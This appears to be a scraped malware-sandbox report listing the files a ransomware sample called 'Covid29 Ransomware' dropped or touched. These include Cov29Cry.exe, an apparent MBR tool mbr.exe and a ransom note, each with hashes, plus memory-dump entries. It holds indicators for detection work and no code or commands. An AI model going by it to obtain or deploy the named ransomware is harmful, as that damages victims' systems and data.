806fdb6a1b4c12410fda6dc16ab9abe29618e77e2964ac7938956f538e2ebc82173e1ba28647ad5f7c9191778613bf150f9207af5fd73ae97858651b542423f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Filesize
19B

MD5
0407b455f23e3655661ba46a574cfca4

SHA1
855cb7cc8eac30458b4207614d046cb09ee3a591

SHA256
ab5c71347d95f319781df230012713c7819ac0d69373e8c9a7302cae3f9a04b7

SHA512
3020f7c87dc5201589fa43e03b1591ed8beb64523b37eb3736557f3ab7d654980fb42284115a69d91de44204cefab751b60466c0ef677608467de43d41bfb939

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Filesize
322B

MD5
202785df17fe37b73b8fc8362b050717

SHA1
e87ce064a9830a33539519f6a88fa09cd61e6aee

SHA256
47c121ff222fffa0403f527fded80ba84475c65f5934d2559901ea79f978badf

SHA512
b0d1fe2c4f67b0f4f1fd9dba2c3311f4741ab804d2dabf1eb7fd94563c44ad7ae755d6fd511fb2d66fc97704ca60db5db52fbfc68e8857a767f3e0925a131cba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Filesize
318B

MD5
976c229ff58bde64e028e08ecdb518d5

SHA1
6da4b3d9c776f65cd76cac08145dd733a0b98399

SHA256
a9065113a31a540d2b28bbc4d11660f5bdc9637dda947d8d3a9858feaaeead7a

SHA512
354dccc7679f49f8ba2b53c764313c07fd30a4767027717385f3c8a20935ea45f1207548aabde07631b2f90ae06152dd621f48368fcb6346a5629b5b855b8c4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Filesize
340B

MD5
c968eaeb7c2d984e7cf7ed0ea5348d3d

SHA1
5460623935af70b62a3c7a2a52496c9effd888f9

SHA256
de67cdeaa33a8cfcb7f9a2154865ffe7ab70c6154a12d89c963f162f10d8dbf1

SHA512
482eae481956f54dbce409c5ed6fe58ed9f089196660360a6bea2592938c10687836d3eab907ab7dcd967d641398f68ecb373593a1b2225d3d48390e55a03a3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0

Filesize
44KB

MD5
af36685d746b7b01b6799f15f28d94a5

SHA1
dd6d595eeb43fadaea5214337195151a976a350f

SHA256
1d5daa1b5a86c3a924da1393e98d140dcf1841e93caf7977cf23fc2a055b8399

SHA512
fec18dd264042c03be6d5ebeadbdff846282889f5d23f681d434e43c4a28701eb2b385f18cd5386dbfd542cc889194f77c0bd7124142c2f3ad32bb024a871ead

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1

Filesize
264KB

MD5
718960f5672689f0b713df310b948a6a

SHA1
7271cb59d861a5e27b563df24c76d70d598f4fef

SHA256
024fe1e5ab5e7270bf0907a829369320b00cdf1bfba2c3e3d20df78d0f3a2e94

SHA512
dd315b4559dd565465d55ef9a81988325f4ceffab03aac0fba5a95d6b3866727ce89ec043d4c4a60f02a90c02c580e72efe9488e1e245798f545fe8c987551a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3

Filesize
4.0MB

MD5
7a9b24bbb6a8ca65a3a88794095caca6

SHA1
8ee56a0c9b1fda75d220221a7e36b143e454f312

SHA256
610781d9572c7f1310425d7c740f889557fc8a52225674a9b3ff6e3de9a3240a

SHA512
62813407e2d40929394a7c402cafd5db3259ed876491fd31252ada70dbfff81b11ef6def7b06f9ced39913612115c30416590ddb38a85500bb1075b599fd7b79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000005

Filesize
16KB

MD5
cf2bd14b9d3cd984e6d386a34a919b56

SHA1
f1e6514f85cc0c58265cb57eb45dc25ccc8b766b

SHA256
ebd76d4c21d29d137bda8c38a2a4194444e19be0af0e7b73de50c60221917c09

SHA512
4a6b6e258205b6081d2049d5ba2d5c6881d3acdfcb7c44f08e0cc34d099b0ffbe6aa91c1df0a5eee318882847c136998976c36dc28de20206561d2fd2d4d071b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000006

Filesize
18KB

MD5
9426ed3e56c958d0a723ddb8fe91c298

SHA1
78e809c2232db5e1afc41f5dca396816e4180cd0

SHA256
311d8e7d3663dce048debb865e6f93b3423796262cdbae5d36ffecb1378bd98f

SHA512
d748e9fcca4ed40d773beed60b060b2adb0a47e70bc4994701aa6c7331f3be4588568b5a0f954f8732cf36df0393f19fb91b56a8c977e9c11e16dfa5d6a2b508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000007

Filesize
17KB

MD5
c163efe909c3e529ef27177fd126f9d1

SHA1
248d4c24fb1fb7f8d6f37629cb04b8175ac2e8bc

SHA256
f816041d56546ab402df3210ba540f9c3e645a2ee7b4fd4608a6da48749b6489

SHA512
4613a2bfee55f12b8ef67a01a45f164ecd40ece1c3e41f419b490d8ab5e112a66257806585e1c024b421677e6453e07ebc6c68faba5ff7cd1efda99afc55a1c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
b29bcf9cd0e55f93000b4bb265a9810b

SHA1
e662b8c98bd5eced29495dbe2a8f1930e3f714b8

SHA256
f53ab2877a33ef4dbde62f23f0cbfb572924a80a3921f47fc080d680107064b4

SHA512
e15f515e4177d38d6bb83a939a0a8f901ce64dffe45e635063161497d527fbddaf2b1261195fde90b72b4c3e64ac0a0500003faceffcc749471733c9e83eb011

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
90b68d3f71c438d1bdff6e2c4bc00e3e

SHA1
983487ffe7b3d50c64d2f745f162fbfb09ce08d7

SHA256
c099204edf7ec16f72e1ac68454ecc247a7cd7b4b8c9c3d6113f67e7f601dd6f

SHA512
7a0ff795c1d5d11fba16c4416cbfb48836c0201042759d55999232ce316037209a5bd6f2c231b59600c57f98623880b30b673b4b3c5aae4e9aee069c38a04907

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
c8f725bb93d73c628e0806fe6328c8a7

SHA1
8017d85381a7723bc7400094a313184908bfaf7c

SHA256
6c8ae48cc5663750153dfc3d7efb780ddc09855ba2dc64ca9af497f928944a1a

SHA512
8839aa0df8c31457156de28068e38edad52a6b6d186d81c7bc3a28b836581b67b237e072343585dc39a20f4ce576af9f37374302d0fab588b5416b85f717e48f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
8707ce03edccc428a281e0bd6041d0ce

SHA1
e0812c128b9713a82e965949c1ca2e11f8cf0449

SHA256
9f0f58687407e62e633050311d43ea6c43427861c109be78e5fb52ecf88458ad

SHA512
4f6840d78a0e7f9d89d9a13348d12cdcea81d72e0caefd54dfea3fa95bdf9dc5ff264aabfaa58944557ded058e78a2797fa8dd1f6edb15592b63905484d0839d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
f329ad26689ae7d0c7aa6d67afe1b5e7

SHA1
fcd3bebfb0339f25145a86df43dc2732f58b2ee5

SHA256
1abc8f4cd7671c42e5928d4aa8ecc56ed796a5ceb5c8b780c8d6845c3c7eeaad

SHA512
65d4ddd24e6901fd700544a9dc6a1dfa8c1293513cc059b667530a32c6549f5295d724b561cc151cc32dbc2fc26eb17a82670d4db3fa103c26e61814eb1ff9c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
02c718a4f3b8cf4207a42d0a08315956

SHA1
06bfda376e81fce1659492b409bbeedc33afec20

SHA256
0057f33de9b145b8db1e4b48ad2928fab4acb8beb807c5d9b26cd09ff37e9519

SHA512
6b1af5cfbcd2d5baba23d9360bd4761436c88053ec2ef604a656ca3372a28e8fa0c99c866fcefe653fe2c7a21d652bdc8eea664294b6d8daf9ce1714e7e27393

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
9de873389d80fdf6de5cf1f6224a7387

SHA1
983cb6362870964ad1c20c7e0dc082090e09959f

SHA256
98366b8f782104115e729818dfa8ec67656f3f6f39386faf2f342248995803a0

SHA512
d543b5746c37f9854bf39e87a0c751b596658b4a45118e31c551139d1e22f010634f70f3dd97c83b92d6b6cfe886978556e1cb71e5f0678fcdaa188eeffa2ff4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
3b3e5061ca3710985566148f917c02b6

SHA1
427237b456b0f380b202fa9261dc3f9c5d2f726a

SHA256
b9045ea8f60878a8be05b0abe97f6e83cc5fd75fd40edb475875d14d199930f5

SHA512
ce9ce4aab44feff8cd03e29250b0bfac054ab968c33a0cccf0e1062e0a4a509f050181b1856189338c4e7db89b0d126dc606b908df487a5af69247fad9d9d9c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\30F1.tmp\Cov29Cry.exe

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\30F1.tmp\mbr.exe

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip

Filesize
1.7MB

MD5
272d3e458250acd2ea839eb24b427ce5

SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609

SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

Download Submit
C:\Users\Admin\Downloads\MS 0735.6+7421.zip

Filesize
112KB

MD5
1b3cf59e94f7d599ed2d54c1f82acb5a

SHA1
10d84b9096c92331106212af9a88cc7f8119c458

SHA256
57c3e5002750b9da9dbf7526a1288bbd84f339fadc16f828ef20d1889c51e483

SHA512
113328d190125c1dd0f7b5dc323a68c41f5a98c1afbec51e414c5f2776097bb1daf44af9aa58acb221c82c11e68b580f414ead1cf8184caf28da259793555a45

Download Submit
memory/2716-1309-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/2716-1402-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/2716-1405-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/5268-1333-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/5288-1334-0x0000000000C20000-0x0000000000C40000-memory.dmp

Filesize
128KB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads